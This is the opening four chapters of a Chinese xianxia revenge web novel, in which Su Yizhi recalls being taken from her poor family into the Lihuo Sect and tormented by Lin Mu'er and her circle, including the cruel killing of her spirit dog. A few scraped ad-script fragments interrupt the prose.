《在仙侠世界当克佬》 1. 第 1 章 又是大雪纷飞的夜,苏一枝坐在神木之端,看向月光下无边无际的荒芜沼泽。 将目光拉远些,再远些,越过沼泽,越过沼泽边缘的地坑,再越过那片名为北林的茂密森林,可以看到离火宗。那是这片土地上最大的修真门派,有微弱的灯光还亮着,是离心殿的鲛油灯。 离心殿里住着离火宗的宗主秦炎,还有他的夫人林木儿。 秦炎身着白色中衣,坐在案边翻阅典籍,他身后的床榻上,林木儿支起头看他,问:“可有什么发现么?” 秦炎点头,又摇头,合上书:“两百年以前,那些妖兽平均五十年左右会作乱一次,近百年内变成了差不多三十年左右甚至二十年就会有一次。上次祸乱至今,已有十一年了。” “还早着呢,有什么好烦的。” “可是妖兽作乱有加速的倾向,下一次什么时候会到来,谁也说不准。” “那也不用烦,上上次是我们林家去的人,我祖父重伤而死,叔叔也受了伤,上次是你们秦家,损失惨重,父亲他至今生死不明,就算那妖兽明天就闹乱子,也该轮到钟家出头了。”林木儿打了个哈欠,声音渐低。 秦炎沉默了好一会,想再说些什么,回过头一看,林木儿已经安然入睡。 多么让人羡慕的生活啊,一个是离火宗宗主,一个是青木宗宗主之女,一个才31岁已经元婴后期,一个30岁马上就元婴初期,都是天人之姿,都是年轻有为,真是,神仙眷侣。 哪像自己,十年了,每天只能窝在这寂灭秘境里,除了修炼,就是偷窥。 苏一枝无数次想象,若是有一天,林木儿来到这里,看到生活一直被自己监视,会是什么样的表情。 从19岁进入秘境起,她经历了炼魂淬体种种痛苦,拼命修炼,就为了有朝一日能出去,再次站在林木儿面前,将从前所遭受的一切一一奉还。 七年前,她修为达到金丹期,终于可以不用借助飞行法宝自由飞行,也第一次登上这棵位于秘境中央的神木顶端,然后吃惊发现,在这里,竟然可以看到整个灵岳大陆。 她看到了林木儿与秦炎的大婚,千里红妆,热闹了整个修真界。 那热闹和人们脸上的笑容刺痛了她,那是她曾经幻想过期待过无数次的婚礼。可是直到最后,都没有婚礼,有的只是各种欺辱,折磨。每日都痛彻心扉,经常是不成人形。 她向无数人求救过,那些眼下脸上洋溢着笑容的人,面对她时,都是多么冷漠,他们拒绝对她伸出任何援手,无一例外,哪怕那些相助对他们来说只是举手之牢。 原来人的善良热情也要看对象,分对谁。 苏一枝自嘲一笑,深吸一口气,然后伸出手,掌心现出一把蓝色火焰形成的刀,她用冷焰刀,一点一点剜掉了自己神魂上的魂灯连接,抹去痕迹,断了与秦炎的所有联系。她表情麻木,仿佛火焰灼魂没有丝毫疼痛。 从此每当修炼痛苦到无法持续时,她就会来到神木之端,静静看着林木儿的生活,不光是林木儿,还有围绕在林木儿身边,所有那些曾经带给她痛苦回忆的人。 “真是痴心妄想,知道嫁给秦炎意味着什么吗?他可是以后要当宗主的人。” “山下猎户家女儿,说不定连离火宗意味着什么她都不知道。” “切,真当她不知道啊?揣着明白装糊涂罢了,真不知道,她会跟宗主上山?” “告诉你,秦炎是木儿的,不要癞蛤蟆想吃天鹅肉,也不撒泡尿照照自己。” “咦!秦玉芝,你爷爷知道你如此粗鄙吗?还撒泡尿照照自己,哈哈。” “木儿你是不是又炼出了新符箓?要拿她试试吗?” “肚子里有没有东西,衣服扒了才看得清楚。” “克父克夫的晦气女人,都克死两个爹了,快离秦炎远点!” “克男人的晦气精,离火宗那些弟子不会都是被她克死的吧?” “呸!晦气的贱货!” 每想一次,都会痛到无法呼吸,一颗心像是被狠狠攥住,疼痛蔓延到四肢百骸,从每个毛孔里散发出来。 与这些相比,修炼的痛苦算得了什么呢。 苏一枝在寂灭秘境里,站在神木之端,隔着万里沼泽,定定盯着林木儿。 林木儿,你可千万要记得我,因为我一日也没有忘记你。 近几年苏一枝偶尔会看到一位竹青色衣衫的少年,托着颗莹莹发光的珠子出现在沼泽边缘。 起初她以为不过是位到沼泽冒险的人,荒芜沼泽,绵延万里,遍布虫蛇蚊兽,各种毒物,危险与机遇并存,这里会有一些陆地上不会出现的灵植和灵兽,于是总有一些不怕死的人,想要到沼泽里去寻找属于自己的机缘。 可是后来,苏一枝在林木儿身边看到了那少年,再后来,应该是到了最近,那少年捧着珠子,越来越往沼泽深处走。 随着他越来越深入,苏一枝有时竟会有种神魂被触动的感觉。她终于意识到,那颗珠子有问题,他似乎,是在找自己。 原来林木儿也没有忘记她,甚至派人在寻找她吗? 很好,这真的很好。 她唤来龙蛭,指着那少年问:“你知道那珠子是什么吗?” 龙蛭便是当初引她来这寂灭秘境的神兽,远远乍一看,像只怪怪的大型九尾狐,浑身皮毛赤红如火,雪地里煞是好看。 再一看,原来不光有九条尾巴,还有九个脑袋,而这每个脑袋又各不相同,有的是人脸,有的是狐狸脸,还有的是虎脸。 随着它跑过来,雪地上留下巨大无比的爪痕,因为它的爪子硕大而又尖利,似虎爪,又大过虎爪。 龙蛭长鸣两声,苏一枝听懂了:“觅魂珠?用来搜寻元神?可为什么我以前没感觉,最近却经常被它扰动?” “因为你已经到了出窍期,经常会练习出窍。如果我没看错,那小孩应该拿觅魂珠找了你好些年了,他的修为进步也很快,最近应该突破了元婴期,你又练习出窍,当然会被觅魂珠影响到。你不喜欢吗?要不要我把他引过来吃掉?”龙蛭说。他会说话,但不是每次交流都会说, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 因为反正不管说不说人话,苏一枝都能听得懂。 “这么年轻的元婴期?”苏一枝吃惊,心里不由有些失落。 她走到如今这步,不知道付出了多少,可是别人年纪轻轻,什么都不用经历,很轻松就可以到达元婴了,还是在灵岳大陆灵气如此稀薄的情况下。 果然天赋是无法逾越的鸿沟。 怎么就让那林木儿网罗到这样的帮手呢? 她必须得尽快出去,将这后患除掉。只可惜,从进入这秘境的第一天起,她就知道,想突破秘境,需得到达分神境界,而她,卡在出窍期很久了。 她问龙蛭这是怎么回事,龙蛭只说,它也不知道,得问主人。 它的主人,便是这秘境的主人,也是这个大陆最后一位飞升者。 灵岳大陆最后一位飞升者,出现在万年前,叫灵女,纯粹土灵根,坤土派掌门人,在渡劫飞升最紧要的关头,遭遇道侣背叛与暗算,被整个修真界围剿。 临近殒落之际,灵女吸空了大陆的土灵之气,形成这寂灭秘境,元神遁入其中沉睡。 这些是龙蛭告诉苏一枝的,龙蛭,是灵女的灵宠。 或许灵女自己也没想到,她当初的自保之举,对后世造成了多大影响,尤其是后世的女子。 自寂灭秘境形成,灵岳大陆灵气稀薄,土灵更是几乎消失殆尽,土灵根者沦为凡人,无法修炼。 而土灵根者又以女性居多,土灵,乃孕育万物的根本,土灵消失,人的生育能力自然也受到影响。 繁衍,逐渐成为灵岳大陆困扰很多人的问题。 后世女子,修真天赋越高,证明其灵根中土灵根比重越低,生育能力便越低,以至于修真门派大佬在找了天赋高的道侣光耀门楣外,总要再另找些天赋低下女子用于繁衍。 而这天赋低下女子又分为几种情况,四灵根以上的杂灵根,三灵根以下土灵根偏重的杂灵根,无灵根者,以及纯粹的土灵根。 修真界尚且如此,广大凡人更是追求多子多福,因为男子进可修仙,退可捕灵兽换钱,而女子,能修真者少之又少,大部分女子最大价值便是生儿育女。 因为对后代的狂热追求,加之人均寿命极短,灵岳大陆的人们恨不得女子癸水一至便嫁人生子,死于生育的女子不计其数,其中不乏修真望族之女。后来便规定,女子必须年满18方可嫁人,但实行起来,便成了,女子一满18岁就得嫁人。 那些凡人家出生的女孩,最好出路是灵根纯粹又相貌美,被修仙者挑去充当门面,次好的是灵根驳杂或没有,但样貌美,被修仙者挑去生育后代。 给修仙者生育后代,总比给凡人生育后代强些,不管怎样,生活质量会好些,而且养身体的丹药多,活得也久些。 苏一枝便因为样貌美而又是土灵根偏重的火土双灵根,被修真界四大门派之一的离火宗宗主秦旺带回宗门,想让她与自己次子秦炎婚配。 这便是苏一枝悲剧的起源,虽然16岁那年,不谙世事的她,曾经以为这会是幸福的开端。 2. 第 2 章 在苏一枝的记忆里,16岁那年的冬天格外寒冷。 那时候她的父亲去世已有一年,母亲自从生下六妹七妹后,身体就格外虚弱,在床上躺了两年,全家能干活的只有苏一枝,和小她两岁的大弟苏光宗。 可母亲王闲云舍不得苏光宗出去干活,因为所谓的干活,其实就是去捕捉灵兽,剖了兽丹卖给那些修真门派的弟子,然后再将皮毛和骨肉拿到集市上换钱。 父亲苏大壮是村子里有名的猎户,力大无比,却在一年前猎兽时死于灵兽之口,虽然苏光宗遗传了父亲的大力,母亲却过于害怕,不肯让他跟苏一枝一起出去猎兽了。 毕竟她儿子只有两个,女儿却有七个。 在这个女人沦为生育工具而修真门派具有优先选择权的世界,苏大壮之所以能娶到王闲云这种既美貌又能生的女人,完全是因为他长相好又力气大。 王闲云刚满18岁,便嫁给了19岁的苏大壮,次年生下苏一枝,苏大壮从村头竹林里折断一根竹子插在了他们的土墙上,说:“大丫就叫苏一枝吧。” 王闲云笑:“那以后再生,就叫苏二枝苏三枝吗?” 苏大壮说那是自然,如果是女娃的话。 第二年王闲云又有了身孕,这次生的是男娃,苏大壮兴奋得跑山里猎了头二阶灵兽,肉也没卖,留给王闲云补身子。 但这个儿子并没有叫苏二枝,而是取名为苏光宗。 王闲云又说:“那以后要是再生个儿子,要叫苏耀祖吗?” 苏大壮说那是自然,如果是男娃的话。 此后王闲云以两年一胎的速度,接连生了苏二枝,苏三枝,苏耀祖,苏四枝,苏五枝,苏六枝苏七枝,那面土墙上,也插了一排竹子,足足七根。 生苏六枝苏七枝时,王闲云已经33岁了。 一向生孩子很顺利的她这次遭遇了难产,痛了两天一夜。 隔壁村的稳婆都找来了,很是头疼,说生了这么多,不该跟下蛋一般容易吗,这是怎么了? 结果原来是双胎,还是屁股先出。 这之后王闲云身体就极度虚弱,大部分时间都躺在床上。 她也没觉得难过,为了生孩子嘛,值得,光荣,这方圆几十里,谁有她能生?躺着也没什么,反正丈夫好吃好喝伺候着她这位功臣。 谁知好景不长,苏大壮竟然在猎兽时死于灵兽之口,连个全尸也没留,王闲云觉得天都塌了。明明前一天晚上,他还在跟她说,发现一只三阶灵兽,准备挑战一下,没准能把她身体补好,第二天却就这么血肉模糊出现在她面前。 经此打击,王闲云病得愈发重了,但生活还是要继续,她看着自己一屋子儿女,说:“以后,就靠大丫了。” 苏光宗说:“我力气比姐大得多,我也可以。” “你退下!”王闲云气急,“你怎么能去?看不到你爹是怎么死的吗?以后猎兽这事,就一枝去干,你碰都不许碰。” 苏一枝倒也没觉得母亲偏心,她完全理解母亲的做法,换了她自己,她也会这么做。 从记事起,她就有一样别人都没有的能力,通兽语。 她能跟动物们说话,猎兽时危险自然就大大降低了。 灵兽再怎么比一般动物厉害,但到底还是不如人聪明的,她稍用些心计,很容易就能骗到它们,将它们带到特制的陷阱。 不过她有三不骗,长得可爱的不骗,拖家带口的不骗,心地善良的不骗。 也正因为如此,父亲死时,除了伤心之外,就是自责,如果那天她有跟着一起去,或许父亲就不会死了。 事情发生的前一天,苏一枝跟父亲一起,见到了那只三阶灵兽。是只狐兔幼崽,似兔非兔,似狐非狐,样子非常可爱。 父亲说它大补,苏一枝却不忍,说那一看就是幼兽,而且那样可爱,还是算了吧。 结果第二天一早父亲就出发了,或许是怕她阻拦,都没叫她。以父亲的能力,对付那样一只小兽,应该没有太大问题,之所以如此惨烈,想来是遇到了幼兽的父母。 苏一枝觉得母亲让她一人去猎兽很正常,却忘了,自己既然有三不骗原则,可爱的不骗,拖家带口的不骗,心地善良的不骗,那骗的必然就是独行的,长得丑的,穷凶极恶的。可这样的兽,不太好骗不说,战斗力还高,万一遇到那种不上当的,她就纯纯把自己置身危险之中了。 好几次她都因为这样受了伤,两手空空带着满身血回家,弟弟妹妹们虽然有些失望,却还是会很关心她。 其中苏三枝跟她最好,每次都打了温水仔细帮她清理伤口。 苏光宗也总是愧疚,说如果自己在就好了。 只有7岁多的小弟苏耀祖会撇嘴说大姐你真笨,你就不会找那些好骗的去骗吗? 王闲云每每听了这话就会大笑,说一家子总算有个清醒的,然后把苏耀祖叫到床前,牵着他的手:“耀祖啊,我们苏家以后就靠你啦。等两年,再攒点灵石,到时候宗门纳新,你就去吧。” 其他人听了这话,倒也不生气,只觉得羡慕。 苏耀祖小小年纪,就自行学会了炼气,有次跟着苏一枝去用兽丹换灵石,那收兽丹的仙门弟子也说他天赋不错。苏一枝便让那弟子帮忙看看是什么样的灵根,弟子摇头说他只是个门外弟子,不然也不会在这里收兽丹了,要起码金丹期才能帮别人摸灵根。 从那以后,苏家日子过得便愈发艰难,因为王闲云说了,灵石得攒着,攒够了,就送苏耀祖去仙门,就去那个离火宗吧,听说所有宗门里,属它最大。 可是,想要攒够去仙门的灵石又谈何容易?以苏一枝的能力,她就算天天拼着一身血,也只不过赚个糊口钱,毕竟一大家子这么多张嘴呢。 苏光宗私下里想帮她,可真到了灵兽地盘,就会想起父亲被咬的画面,然后头晕,腿软,站都站不起来。 眼见着攒不到灵石,王闲云又动了别的心思,她生苏六枝苏七枝时,本村稳婆应付不了,叫了隔壁王庄的稳婆来。那王稳婆来接生时,当场就看中了年仅14的苏一枝,这些日子更是托人带了几次话,说王庄的大户想讨苏一枝,问王闲云意下如何。 王庄就是王闲云的娘家所在,但世道艰难,娘家人在几年前死得死散得散,不复存在,王闲云跟那边也就断了联系。 她倒不曾听过村子有什么大户,找人了解了一下才知道,那大户她还认识,年纪跟她差不多,本来也是穷人一个,但前几年家里出了个修真的,很是往回送了些钱,摇身一变,成了村里的大户。 王大户虽然已经娶了三个老婆,但生了几个都是女儿,并且女儿还都不随那些老婆,个个长得跟王大户一个样。王大户觉得这是老婆们还不够好看的缘故,便想找个年轻漂亮的,看能不能生出个漂亮儿子。 听稳婆说起去给王闲云接生,王闲云那女儿出落得如何漂亮,不由心里一动。 年轻时他就很喜欢王闲云,只是那王闲云偏偏中意苏家村的猎户,可惜啊可惜,不过如果能娶到她女儿,那就不算可惜。 王闲云不知道王大户那些心思,她只觉得,如果苏一枝嫁给了王大户,苏耀祖去仙门的灵石就不成问题了。 若是苏耀祖去了仙门,那苏家,也会成为大户。 这是一笔多么划算的生意! 苏一枝却不愿意,她听说王大户不但年纪大,还肥头大耳。 王闲云说那你就在18岁前赚够耀祖去仙门的钱,赚不够,一满18,就给我帮王大户生娃去。 苏三枝说娘你怎么能这样,以大姐的样貌,怎么也不能嫁得比你差吧,你都能嫁给爹那样好看的了,却让大姐去嫁个肥头大耳的。 王闲云撇嘴:“你知道什么,好看能当饭吃?肥头大耳怎么了,有钱就行。” 她想起苏大壮,好看是好看,能干是能干,可最后落得个尸骨不全。 若是有钱,何至于此? 年轻小姑娘不知道有钱有权的好处,她一把年纪,经历这么多,可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太清楚了。 雪落满山,苏一枝站在山脚,看着漫天的白雪和雪地上那蜿蜒而上的兽类脚印,眼泪忽然就流了出来。 今天是她16岁生日,没人记得,父亲死后,她就再也没有过一次生日,如今家里唯一有生日权的是耀祖,至于别的人,生不生日,又有什么重要呢。 她在生日这天,面临一个艰难的抉择,要不要骗刚刚那三阶灵狐。 如果是以前,她不会考虑这种问题,可现在16岁生日提醒着她,还有两年,攒不够灵石,她就得嫁给那个王胖子。 但那只灵狐真的好可爱啊,她又怎么忍心骗它踏进父亲留下的那个灵气陷阱,然后剥它的皮,剖它的丹,将它皮毛骨肉内丹全部卖掉。灵狐越跑越远,眼看就要消失不见,苏一枝终于在漫天风雪里蹲下去,放声痛哭。 然后她就听到一道声音在头顶响起:“小姑娘,你哭什么呢?” 苏一枝吓得跌坐在地,雪沁透她单薄的粗麻衣衫,屁股一阵冰凉。她没有听到任何脚步靠近的声音,这人怎么无声无息就出现在了她的身边? 她怯生生抬头,害怕又仔细地看眼前那人,大概跟父亲去世时差不多的年纪,三十多岁的样子吧。不过父亲终日猎兽,比较辛劳,显得沧桑些,眼前这人应该没吃过什么苦,保养得很好,细皮嫩肉,一丝皱纹和岁月痕迹都没有,甚至皮肤状态比苏一枝还好,但苏一枝就是觉得他应该是个中年人了。 他一身紫衣,那衣服看着料子就很好,像绸缎,又像紫色的波浪云朵,衣角袖了鸾鸟花纹。 苏一枝直觉他应该是位修真者,她脑子里忽然冒出个念头,要是这人能把苏耀祖带去仙门,自己是不是就不用辛辛苦苦攒灵石,也不用嫁给王胖子了? 可她都不知道这人是好是坏,为什么会出现在这里。 那人向苏一枝伸出手,但袖子过长,盖住了手,苏一枝当然不知道,眼前这种程度的修真者,真要扶她,根本不用伸手。她将手搭上去,那人隔着衣袖握住了她的手腕,脸上露出笑容。 “谢谢。”苏一枝说,“你是谁?怎么会在这里?我都没有看到你从哪里来的。” 那人看着她,一脸和蔼:“你刚才为什么哭?” “因为不知道要不要抓那只灵狐。” “抓灵狐做什么?” “换钱。” “那为什么又犹豫呢?” “因为它很漂亮,因为它没犯错。” 男人哈哈大笑起来,摸了摸并不存在的胡子:“是位好姑娘,还是个火土双灵根呢,土灵根重了些,不过也无妨,离火宗丹药一向是好的。” 苏一枝云里雾里,指着自己:“你是说我?火土双灵根?” 那时她当然不知道土灵根其实就是个废灵根,只会让女人生孩子时容易遇到危险,还以为火土双灵根很厉害,毕竟听说那王大胖家里出的就是个双灵根。 男人点头:“我是离火宗的宗主秦旺,你想跟我去离火宗修炼吗?” 苏一枝想都没想,狠狠点头:“愿意!” 秦旺犹豫了一下,似乎有点不好意思:“如果,让你修炼个两年,满了18岁后,嫁给我儿子呢,你还愿意吗?” 苏一枝愣住,片刻后开口:“你儿子胖吗?他多大?” 秦旺笑得直不起腰来:“胖?哈哈哈哈,你这女娃,怎么这么好笑,怎么会胖。他不胖,还很帅气呢。” “有你帅气吗?” “那是自然,我都86了,他才18,肯定比我帅气。” 苏一枝彻彻底底惊呆了! 86岁! 86岁! 他说他86岁! 就面前这个人,这个好看的人,这个看着像30多岁但又比她见过的所有30多岁的人都年轻的人,他说他86岁! 苏一枝刹时就明白了人们为什么对于仙门那么向往,她郑重点头:“我愿意跟你去修炼,也愿意嫁给你儿子,不过,这得先要我母亲同意。” 3. 第 3 章 王闲云万万没想到,她心心念念想让小儿子苏耀祖去离火宗,结果先去离火宗的是苏一枝。这让她心里很不是滋味,她看着那个耀目到她不敢直视的男人,那人正握着苏耀祖的手,面露惊奇,挑着眉毛,像是想说些什么。 她抢在前面为难开口:“仙人厚爱,我当然求之不得。但是你看,这一大家子,天天一睁眼,满屋子哪哪儿都是张着要吃饭的嘴,我们家里,可就靠着她猎兽赚钱呢。你看看我这小儿子灵根怎么样,肯定比他姐好是吧,不如你先带他去修炼,等他姐到了18,我再给你送上山。” 秦旺沉默了,他看了看苏一枝,过一小会才说:“我既然要带走这丫头,怎么可能不帮她安排好家人。你放心,我会给你留下足够的银钱。你这儿子,他是金灵根,不适合我们离火宗。” 金灵根是什么意思,不适合离火宗又是什么意思,王闲云不知道,她只知道,得有足够的钱才能放苏一枝走,最好是直接给灵石。 她还在想着怎么才能开个好价又不被拒绝,那人就直接扔了个锦袋给她:“这些你先收着,我还有些事要做,过一个月再来接她,到时会备上厚礼。这一个月你们先好好聚聚吧,到了离火宗要好生修炼,轻易不能再回来了。” 打开一看,满满上品灵石和一些碎银,王闲云的眼直了。她因过度兴奋而没有注意到,秦旺悄悄塞给了苏一枝一只纸鸟,还对她低声说了些什么。 一个月后,秦旺果然带了厚礼来到苏家村,同来的还有个让人一看就移不开眼的绯红锦衣少年。 听说那便是自己两年后要嫁的人,苏一枝脸红得像天边的火烧云,然而少年虽红衣如火,神色却是淡淡的,比月光下漫山的雪还要冰冷。 带来的那些东西,王闲云见都没见过,小小院落,光华四射,门外挤满了来看热闹的村民。 “哗,苏家这下发达了,这得值多少钱啊。” “都是仙人的东西吧,咱也不知道值多少钱,苏家这下能多盖几间大屋了。” “就是,孩子们都多大了,统共就那三间屋,也不知道平时怎么挤得下。” “没办法,男人死得早,能活着不错了。” “可惜了,大壮要是晚死两年,也能见见这世面。” “嘘,大喜的日子,别提那些伤心的。” 王闲云听着耳边这些议论,忽然发现,要用钱的地方比她想象得还要多。 以前光想着填饱肚子,送耀祖去仙门,现在看来,不光是两个儿子要娶媳盖房,就连女儿,也得盖上房子,免得老被村民说闲话。 还要多给女儿们添些衣裳,苏一枝这一高嫁,以后苏二枝苏三枝们也不能嫁得太差,高低得打扮起来…… 她想得投入,又被那些礼品闪得精神恍惚,竟连苏一枝什么时候离开的都不知道。不过即使知道,也没什么好说的,一个月来,她被这个大女儿伤透了心。 苏一枝端坐在一片火红的云上,紧张又兴奋,一颗心简直要跳出嗓子眼。 她居然!坐在一片红色的会飞的云上! 听说那云是秦旺的飞行法宝,名叫晚霞,叫它,它还会应呢!仙门的生活竟是这样神奇!以后,她也会有自己的飞行法宝吗?如果有了,自己要给它取个什么名字呢? 她想得出神,没注意到对面一身红衣隐在红云里的少年秦炎正冷冷看着她,眼里有掩饰不住的嫌弃。 秦旺直接将苏一枝带到了她要住的地方,朝露阁,进门时,秦炎似是有些不悦,说:“父亲执意如此,我没什么好说的,人也已经接到,我就先回去了。” 说完没等秦旺回答,转身就走。 秦旺呵呵笑了两声,对苏一枝道:“别在意,那小子跟我闹别扭呢,他慢热,以后熟了,会对你很好的。” 苏一枝懵懵懂懂应了声:“哦。” 她那时并不知道,父子俩因为她,吵过好几次。 而她要住的朝露阁,是秦旺亡妻,秦炎母亲生前住过的地方,也是默认的,离火宗之后宗主夫人婚前小住之所和婚后修炼之地。 她什么都不知道,就一脚踏进了这腥风血雨之地,三年里求生不得,求死不能,呼天不应,叫地不灵,直到最后,残魂被吸入寂灭秘境,得以铸魂重生。 苏一枝觉得累了,她已经在这神木之端坐了两日三夜。 她没有睡意,修炼之人的睡眠和饮食一样,会随着修为提升而减少,直至不再需要,很多人保留着睡眠,不过是习惯使然。 苏一枝摒弃了这习惯,因为浪费时间。 她要面对的是那样多的人,那样庞大的修真世界,她必须拼了命修炼。 更何况,连林木儿那样背靠青木宗离火宗两大宗门的人,都一日没有松懈过。就像此时,朝霞从离火宗东边铺开,随着秦炎教导弟子的声音响起,林木儿已经端坐朝露阁了。 她是宗主夫人,当然会在朝露阁。 事实上在十多年前,她已经将朝露阁当成了自己的地盘,是自己茫然无知闯入了她的世界。 苏一枝第一次见林木儿,是在到了离火宗的半个月后。 从第一天开始,秦旺就说让秦炎带着她熟悉宗门,无奈秦炎总是有事,苏一枝一次也没有见过他。 她被编入今年新纳弟子队伍,跟着学最基础的入门知识。 什么“夫人形体为一,神为二,气为三,此三三一乃成人。又神为一,气为二,精为三,此三三一乃复成神……”,什么“上有魂灵下关元,左为少阳右太阴,后有密户前生门,出日入月呼吸存……”,什么“但服元和除五谷,必获寥天得真箓,百日专精食气足……”,什么“火则躁而礼,金则勇而义……” 天书! 绝对是天书! 苏一枝听得云里雾里,眼见很多弟子一上来就学会引气,她却连那些话的意思是什么都没弄明白,也记不住。 有人问她住在哪个舍,她说在朝露阁,所有人都惊了,顿时对她退避三舍,脸上神情各异,再没有弟子愿意跟她搭话。 有时还会有一些中高级精英弟子跑来看她,然后议论些什么。 苏一枝并不傻,她知道定是自己将来要嫁给秦炎这件事被众人所知,人们心里对她有了成见,她觉得,只要自己好好修炼,努力追赶上别人,他们也就没什么好说的了。 第四日的时候,苏一枝交到了她在离火宗的第一个朋友。 那天上午有一门课是炼器课,当然不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让他们这些新入门的弟子去炼器,只是普及炼器知识。 来讲课的是炼器峰峰主大弟子,看着有四十岁了,比宗主都老。 他身边还跟了个粉雕玉琢的圆脸少女,一身海棠红轻纱流光裙更是将脸衬得红朴朴的,在一堆水红色麻布衣的初级弟子中很是显眼。 她一来就盯着苏一枝瞧,瞧得苏一枝如坐针毡。 课一结束,那少女立刻扑过来:“你就是新来的少主夫人?你可真好看,比我们很多修真女子都好看。” 少主夫人这几个字让苏一枝红了脸,她嗫嚅着不知该如何回答,但那少女根本没等她回答,就又说:“我叫秦玉芝,炼器峰的,这里女孩子本来就少,同龄的更是难找。以后我们就做朋友吧,我比你小一岁。” 苏一枝惊奇:“你知道我多大?” 秦玉芝笑得脸更圆了:“谁不知道呀。别说离火宗了,就是青木宗白金宗,也都知道你啦。我们以后一起吧。” 苏一枝又惊奇了:“可你不是炼器峰的么?也不是初级弟子,怎么一起呢?” 秦玉芝眯了眯眼睛:“我是炼器峰的,可是爷爷不让我炼器,也不抓我修炼,我只要玩得高兴就好啦。” 苏一枝低下头,心想可是我要修炼呢,但她并没有说出来,好不容易有一个愿意搭理她的人,她不想失去。 之后秦玉芝果然每天都来找她,她听课,秦玉芝就在旁边玩,她学引气,秦玉芝就过来指导她,讲课的老师也不怎么管。 苏一枝终于不再孤单。 秦玉芝还带苏一枝去了灵兽馆,各种满地跑的奇珍异兽看得苏一枝两眼冒光。 她听到有只长着翅膀的小鹿在叫:“啊呀呀那姓秦的小姑娘又来了这次不知道会挑谁。” 一只呆在单独透明房间里的七彩毛发的狼瓮声瓮气道:“反正不会是我们这些有自己房间的。” 秦玉芝将手一一指过去,绕了个大圈,说:“想要什么,随便挑一个,只要不挑那些房间里的就行,那些是七阶以上的,很多都有主。” 苏一枝指着一只白色小狗:“我想要那个。” “啊?换一个吧,那个不好,才三阶,也不知道是哪个弟子偷懒划水捉来充数的。” “就要那个。” 于是苏一枝拥有了她的第一只灵宠,她给那只白色小狗取名小白。 当然,她没告诉秦玉芝的是,之所以选小白,是因为小白说自己因为品阶太低被其他灵兽欺负,求她带走自己。 苏一枝已经不想告诉别人自己能听懂兽语了。不是在每个人面前,她都可以坚持自己的三不骗原则,与其面临艰难抉择或不得已而为之,不如从开始就不要说,就让这成为她深埋心底的秘密。 小白虽然只有三阶,苏一枝还是不听秦玉芝劝阻跟它结了血契。 她觉得小白很像现在的自己,所以想给小白一个依靠,这是她的第一只灵宠,如果可以,她希望会是最后一只。 来到离火宗半个月的时候,秦玉芝带了三个女孩子过来,说是三大宗门年纪相仿修为也差不多的女孩子都在这里了。 那是几个苏一枝到死都不会忘记的名字: 林木儿,林桐桐,钟仙。 4. 第 4 章 苏一枝立马就感觉到了眼前几人与秦玉芝的不同,她甚至被那扑面而来极不友好的凛冽之气冲了个踉跄。 三人中为首的那个一身草绿色罗衣,瘦瘦高高,是个美人,五官大气明艳,看着让人不太敢接近,不像秦玉芝那么喜庆。 身后左右两位,左边那个也是一身绿,不过是柳绿色,看起来衣料不如为首那位,五官都没什么记忆点,扔人堆里找不出来的那种,苏一枝看了半天觉得移开眼睛后还是记不住她的样子。 右边那个一身白衣的长相就很犀利,眼睛细细尖尖,眼尾上挑,莫名有种压迫感,鼻子也有点尖,下巴也尖,嘴唇很薄,怎么说呢,有种刻薄的美。 在秦玉芝的介绍下,苏一枝得知为首那个叫林木儿,青木宗宗主林潭之女,离火宗的常客,大家都说她是半个离火宗人。淡眉淡眼没什么存在感的那个叫林桐桐,也是青木宗的,白衣服的则是白金宗的,叫钟仙。 “钟仙爷爷是白金宗最年长的钟吾真长老,当然,没有我爷爷年长。”秦玉芝笑嘻嘻道。 钟仙斜睨她一眼:“你怎么不说我还有个年少有为的小叔叔是白金宗宗主呢?17岁就即位的宗主哦。” 秦玉芝忽然红了脸。 林木儿一进朝露阁,就东摸摸西摸摸,进到苏一枝房间,见桌上有茶水痕迹,皱眉,抬手使了个净尘诀。 秦玉芝附在苏一枝耳边小声说:“你知道吗?大家之前都以为这朝露阁早晚会是林木儿住的。” 林木儿瞪过来,秦玉芝吓得收了声。 苏一枝更是大气也不敢出,这几人在秦玉芝带领下闯入,不像拜访,不像看望,也不像来看稀奇,更像是来找茬的。 果然,那林木儿走了一圈,忽然看到蜷缩在角落的小白,踢了一脚:“这狗不错,送我吧。” 小白嗷呜一声,滚了几圈后爬起来跑到苏一枝脚边,被抱起来后仍然抖个不停。 苏一枝心疼不已:“小白不送人。” 林木儿转过身看她,笑起来,嘴角有点歪:“可是我的驭兽符就缺了这么一条白狗,你也不想看到我炼符失败吧?” 小白瑟瑟发抖,哼唧的声音听起来有些断续:“被炼符,很可怕的,呜呜呜呜。” 苏一枝低头看着它,咬了咬嘴唇,抬头:“不送,这屋子里你想要什么,都可以拿走,就小白不行。” 秦玉芝扯了扯她袖子,小声说:“一只狗而已,就给她吧。” 苏一枝摇头。 “你除了这条破狗,还有什么值得我要?”林木儿笑了,她笑起来明艳动人,却让苏一枝心里发怵。 果然,林木儿抬起手向她,掌心向上,五指微勾,缓慢地收拢。 苏一枝只觉一股不可抗拒的力量袭来,将她胳膊扯开,让她动弹不得,眼睁睁看着小白被那力量裹着,一点一点离开她的怀抱,落入林木儿手中。 林木儿左手拎住小白后颈,伸出右手食指,白皙修长,她将指尖沿着小白的喉咙一路向下,划过胸腔,划过腹部,一直划到尾巴根。 鲜血淋漓而下,小白的身体被剖成了两半,它痛苦的哀嚎戛然而止,声音被困在喉咙里发不出来,只剩奇怪的咕噜声。 林木儿伸手在小白体内掏了掏,掏出一颗血淋淋的内丹。 取丹的方式千千万万,她偏偏选了最血腥残忍的一种。 偏偏她取了丹后,又满脸嫌弃,丢在地上,抬脚轻轻碾碎,说:“原来品阶这么低呀,也没什么用。” 小白转了转乌黑的眼珠,看向苏一枝。 它无法再发出声音,但苏一枝却接收到了它想传达的所有情绪:跟你在一起的十天,我很开心,比过去所有日子都开心。可惜没法再陪你了,你要好好修炼,提升修为,这样才不会被欺负。不要给我报仇,以后看到她绕着走。 然后它闭上了眼睛。 苏一枝泪流满面。 